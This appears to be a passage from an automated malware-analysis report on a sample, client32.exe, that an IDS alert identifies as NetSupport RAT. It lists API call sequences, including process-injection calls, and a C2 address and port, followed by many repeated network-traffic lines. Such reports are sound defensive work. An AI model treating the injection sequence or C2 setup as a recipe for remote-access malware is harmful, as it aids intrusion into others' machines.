Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_1102CD90 InterlockedIncrement,Sleep,Sleep,GetCurrentProcess,SetPriorityClass,SetEvent,Sleep,PostThreadMessageA,PostThreadMessageA,CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	9_2_1102CD90
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11069760 GetTickCount,OpenPrinterA,StartDocPrinterA,ClosePrinter,FindFirstFileA,FindClose,CreateFileA,SetFilePointer,GetTickCount,GetLastError,	9_2_11069760
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11123690 _memset,_memset,GetVersionExA,GetTempPathA,GetModuleFileNameA,_strrchr,CreateFileA,CreateFileA,WriteFile,CloseHandle,CloseHandle,CreateFileA,GetCurrentProcessId,wsprintfA,CreateProcessA,CloseHandle,CloseHandle,CloseHandle,CreateProcessA,DeleteFileA,Sleep,WaitForSingleObject,CloseHandle,GetCurrentProcess,RemoveDirectoryA,GetLastError,ExitProcess,FindNextFileA,FindClose,FindFirstFileA,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,GetModuleFileNameA,_strrchr,_memmove,GetThreadContext,VirtualProtectEx,WriteProcessMemory,FlushInstructionCache,SetThreadContext,ResumeThread,CloseHandle,CloseHandle,	9_2_11123690
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11108090 _memset,wsprintfA,wsprintfA,KillTimer,FindFirstFileA,wsprintfA,FindNextFileA,GetLastError,FindClose,	9_2_11108090
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_110BC0E0 GetFileAttributesA,CreateDirectoryA,FindFirstFileA,CopyFileA,CopyFileA,FindNextFileA,FindClose,DrawMenuBar,	9_2_110BC0E0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11064EF0 _memset,_memmove,_strncpy,CharUpperA,FindFirstFileA,FindNextFileA,FindClose,wsprintfA,	9_2_11064EF0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_6C76EFE1 _stat32,__doserrno,_errno,_invalid_parameter_noinfo,_mbspbrk,_errno,__doserrno,_mbctolower,_getdrive,FindFirstFileExA,_mbspbrk,__wfullpath_helper,_strlen,_IsRootUNCName,GetDriveTypeA,free,___loctotime32_t,free,__wsopen_s,__fstat32,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FindClose,___dtoxmode,GetLastError,__dosmaperr,FindClose,	9_2_6C76EFE1
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_6C770F84 _wstat32i64,__doserrno,_errno,_invalid_parameter_noinfo,_wcspbrk,_errno,__doserrno,towlower,_getdrive,FindFirstFileExW,_wcspbrk,_wcslen,GetDriveTypeW,free,___loctotime32_t,free,_wsopen_s,__fstat32i64,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FindClose,___wdtoxmode,GetLastError,__dosmaperr,FindClose,	9_2_6C770F84
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_6C76CA9B _malloc_crt,FindClose,FindFirstFileExW,FindNextFileW,FindClose,	9_2_6C76CA9B
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_6C770B33 _wstat64,__doserrno,_errno,_invalid_parameter_noinfo,_wcspbrk,_errno,__doserrno,towlower,_getdrive,FindFirstFileExW,_wcspbrk,_wcslen,GetDriveTypeW,free,___loctotime64_t,free,_wsopen_s,__fstat64,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime64_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime64_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime64_t,FindClose,___wdtoxmode,GetLastError,__dosmaperr,FindClose,	9_2_6C770B33
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_6C76C775 _malloc_crt,FindClose,FindFirstFileExA,FindNextFileA,FindClose,	9_2_6C76C775
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_6C770702 _wstat32,__doserrno,_errno,_invalid_parameter_noinfo,_wcspbrk,_errno,__doserrno,towlower,_getdrive,FindFirstFileExW,_wcspbrk,_wcslen,GetDriveTypeW,free,___loctotime32_t,free,_wsopen_s,__fstat32,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime32_t,FindClose,___wdtoxmode,GetLastError,__dosmaperr,FindClose,	9_2_6C770702

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

Code function: 4x nop then add byte ptr [edi], dh

9_2_6C728468

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2827745 - Severity 1 - ETPRO MALWARE NetSupport RAT CnC Activity : 192.168.2.6:49737 -> 88.210.12.58:3785

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 3785 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 3785 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
